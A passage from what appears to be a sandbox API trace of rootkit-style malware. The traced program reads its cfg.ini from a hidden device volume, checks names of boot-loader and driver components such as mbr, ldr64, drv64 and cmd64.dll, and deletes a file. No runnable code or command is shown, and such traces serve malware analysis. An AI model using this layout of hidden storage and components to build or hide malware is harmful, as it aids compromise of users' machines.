(Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.550] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.550] KeEnterCriticalRegion () [0123.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.550] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.550] KeLeaveCriticalRegion () [0123.550] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.550] KeEnterCriticalRegion () [0123.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.550] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.550] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.550] KeLeaveCriticalRegion () [0123.550] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.550] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.550] KeEnterCriticalRegion () [0123.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.550] ExFreePoolWithTag (P=0xfffffa8003beca70, Tag=0x0) [0123.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.550] KeLeaveCriticalRegion () [0123.550] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.550] ReleaseMutex (hMutex=0xf0) returned 1 [0123.550] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.550] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.550] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.550] KeEnterCriticalRegion () [0123.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.551] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.551] IdePortDispatch () returned 0x103 [0123.551] KeWaitForMutexObject () returned 0x0 [0123.551] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.551] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.551] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.551] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.551] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.551] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bece50 [0123.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.551] KeLeaveCriticalRegion () [0123.551] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.551] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.551] KeEnterCriticalRegion () [0123.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.551] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.551] KeLeaveCriticalRegion () [0123.551] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.551] KeEnterCriticalRegion () [0123.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.551] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.551] IdePortDispatch () returned 0x103 [0123.551] KeWaitForMutexObject () returned 0x0 [0123.551] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.551] KeLeaveCriticalRegion () [0123.551] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.552] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.552] KeEnterCriticalRegion () [0123.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.552] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cf000 [0123.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.552] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.552] IdePortDispatch () returned 0x103 [0123.552] KeWaitForMutexObject () returned 0x0 [0123.552] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.552] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.552] IdePortDispatch () returned 0x103 [0123.552] KeWaitForMutexObject () returned 0x0 [0123.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.552] KeLeaveCriticalRegion () [0123.552] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.553] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.553] KeEnterCriticalRegion () [0123.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.553] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.553] KeLeaveCriticalRegion () [0123.553] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.553] KeEnterCriticalRegion () [0123.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.553] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.553] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.553] KeLeaveCriticalRegion () [0123.553] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.553] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.553] KeEnterCriticalRegion () [0123.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.553] ExFreePoolWithTag (P=0xfffffa8003bece50, Tag=0x0) [0123.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.553] KeLeaveCriticalRegion () [0123.553] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.553] ReleaseMutex (hMutex=0xf0) returned 1 [0123.553] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.553] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.553] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.553] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.553] KeEnterCriticalRegion () [0123.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.553] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.553] IdePortDispatch () returned 0x103 [0123.553] KeWaitForMutexObject () returned 0x0 [0123.554] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.554] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.554] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.554] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.554] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.554] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.554] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.554] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.554] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.554] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.554] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.554] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.554] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.554] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.554] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.554] KeLeaveCriticalRegion () [0123.554] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.554] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.554] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.554] KeEnterCriticalRegion () [0123.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.554] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.554] IdePortDispatch () returned 0x103 [0123.554] KeWaitForMutexObject () returned 0x0 [0123.554] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.554] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.554] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.554] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.554] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.554] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.554] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.554] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.554] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.554] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.555] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.555] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.555] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.555] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.555] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.555] KeLeaveCriticalRegion () [0123.555] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.555] ReleaseMutex (hMutex=0x100) returned 1 [0123.555] Sleep (dwMilliseconds=0x2bf20) [0123.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cd90330, dwHighDateTime=0x1d24fa4)) [0123.561] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.561] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.561] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.561] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.561] KeEnterCriticalRegion () [0123.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.561] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.561] IdePortDispatch () returned 0x103 [0123.561] KeWaitForMutexObject () returned 0x0 [0123.561] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.561] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.561] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.561] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.561] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.561] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bece50 [0123.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.562] KeLeaveCriticalRegion () [0123.562] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.562] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.562] KeEnterCriticalRegion () [0123.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.562] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.562] KeLeaveCriticalRegion () [0123.562] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.562] KeEnterCriticalRegion () [0123.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.562] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.562] IdePortDispatch () returned 0x103 [0123.562] KeWaitForMutexObject () returned 0x0 [0123.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.562] KeLeaveCriticalRegion () [0123.562] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.562] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.562] KeEnterCriticalRegion () [0123.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.562] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d2000 [0123.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.562] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.562] IdePortDispatch () returned 0x103 [0123.562] KeWaitForMutexObject () returned 0x0 [0123.563] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.563] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.563] IdePortDispatch () returned 0x103 [0123.563] KeWaitForMutexObject () returned 0x0 [0123.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.563] KeLeaveCriticalRegion () [0123.563] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.563] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.563] KeEnterCriticalRegion () [0123.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.563] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.563] KeLeaveCriticalRegion () [0123.563] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.563] KeEnterCriticalRegion () [0123.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.563] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.564] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beccb0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.564] KeLeaveCriticalRegion () [0123.564] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.564] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.564] KeEnterCriticalRegion () [0123.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.564] ExFreePoolWithTag (P=0xfffffa8003bece50, Tag=0x0) [0123.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.564] KeLeaveCriticalRegion () [0123.564] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.564] ReleaseMutex (hMutex=0xf0) returned 1 [0123.564] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.564] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.564] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.564] KeEnterCriticalRegion () [0123.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.564] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.564] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.564] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.564] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.564] IdePortDispatch () returned 0x103 [0123.564] KeWaitForMutexObject () returned 0x0 [0123.564] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.564] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.564] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.564] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.564] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.564] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec410 [0123.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.564] KeLeaveCriticalRegion () [0123.564] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.564] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.564] KeEnterCriticalRegion () [0123.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.564] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.564] KeLeaveCriticalRegion () [0123.565] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.565] KeEnterCriticalRegion () [0123.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 